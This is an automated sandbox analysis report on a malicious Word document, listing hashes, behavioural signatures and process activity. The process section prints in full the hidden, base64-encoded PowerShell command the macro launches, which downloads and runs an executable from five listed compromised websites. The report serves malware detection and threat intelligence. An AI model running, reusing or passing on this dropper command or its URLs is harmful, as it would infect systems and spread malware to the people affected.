Analysis

  • max time kernel
    105s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/04/2025, 07:28

General

  • Target

    virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc

  • Size

    182KB

  • MD5

    1ba8249d8503c0cf7bc125588c43bef9

  • SHA1

    eb473c845c7474010ff35a3e8a169a9b6b9e5ebe

  • SHA256

    a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38

  • SHA512

    b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • NTFS ADS 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""
    1⤵
    • Deletes itself
    • Checks processor information in registry
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5424
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:5024
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:944

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9098FE56.wmf

      Filesize

      444B

      MD5

      bf6c0e03017c4c671d600f1538f06f93

      SHA1

      c5b31faac8bf742535756233f3d4e338673291ab

      SHA256

      2eae80bfdbb9b62b8ce86e613cd177ea75c2e4e71fe25bc8f27b94a7e4d31dd2

      SHA512

      6b7505b21d0b36fef27d38c1f6f733eb49b0558421e0f4a3446cfb70fcaa36975cb52339e359a816db6c784d4bafd518769ab9a62001be5f84ef36157036a981

    • C:\Users\Admin\AppData\Local\Temp\TCDD4C7.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhpdgvkr.nbs.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\virusshare\1\~WRD0000.tmp

      Filesize

      213KB

      MD5

      03ac40607c102bb20b4e11bb8cb2b7af

      SHA1

      3881c90eeadd1c70d18c9601d1b0181de05a718d

      SHA256

      8f9fec46f92f1171b90481748e73821fabd6b791e716a70b514e908658f930ba

      SHA512

      48112121d9b3bb656989bf300d33f2978d9540925dc5aa75e7b1ec5623f45fa2d2c8250e8008ea3ca3bea0ab243760bed899fceb64c1853a70fe9d30a0575abd

    • C:\Users\Admin\AppData\Local\Temp\virusshare\1\~WRD0002.tmp

      Filesize

      213KB

      MD5

      db5988dc68c133f9977e91227bc3eeec

      SHA1

      353faa6cf3c70c2da8961096995ce692cb5388bd

      SHA256

      e560f2658a331eae1a14f671f0eb357cee2b8b7478a98cfaed3bd52739b685eb

      SHA512

      3f15545156909a770daa13f6a682072271ed78aac61258808ce77a528fd8ce8e68fbfaddc94ad1f5dcc522e7ef1f3deea483f8908bc387745cdd2df490797d0a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

      Filesize

      2KB

      MD5

      5c3c9de7fac06d022b9e965f786d3dbc

      SHA1

      1485551a743b1d3918514b4f90679def1c5b8fe6

      SHA256

      baf7805ea06bbbae424cfd61474a794e285abceeeeafe79f0812eef8a1246fc3

      SHA512

      c9763822b27bf987295c256216c44842ab6751c6c21734d01a8cdeb923d3d8ed9ac8c173ec4a0fc36a91a54433b51a01f71811a33a9c0483ee9e99169fe72f6f

    • memory/944-50-0x000001D9FB3F0000-0x000001D9FB412000-memory.dmp

      Filesize

      136KB

    • memory/5424-9-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-66-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-1-0x00007FFE0E22D000-0x00007FFE0E22E000-memory.dmp

      Filesize

      4KB

    • memory/5424-8-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-7-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-12-0x00007FFDCBE10000-0x00007FFDCBE20000-memory.dmp

      Filesize

      64KB

    • memory/5424-13-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-14-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-15-0x00007FFDCBE10000-0x00007FFDCBE20000-memory.dmp

      Filesize

      64KB

    • memory/5424-17-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-16-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-18-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-10-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-5-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-6-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-11-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-67-0x00007FFE0E22D000-0x00007FFE0E22E000-memory.dmp

      Filesize

      4KB

    • memory/5424-68-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-69-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-70-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB

    • memory/5424-4-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-3-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-2-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-0-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-270-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-271-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-273-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-272-0x00007FFDCE210000-0x00007FFDCE220000-memory.dmp

      Filesize

      64KB

    • memory/5424-274-0x00007FFE0E190000-0x00007FFE0E385000-memory.dmp

      Filesize

      2.0MB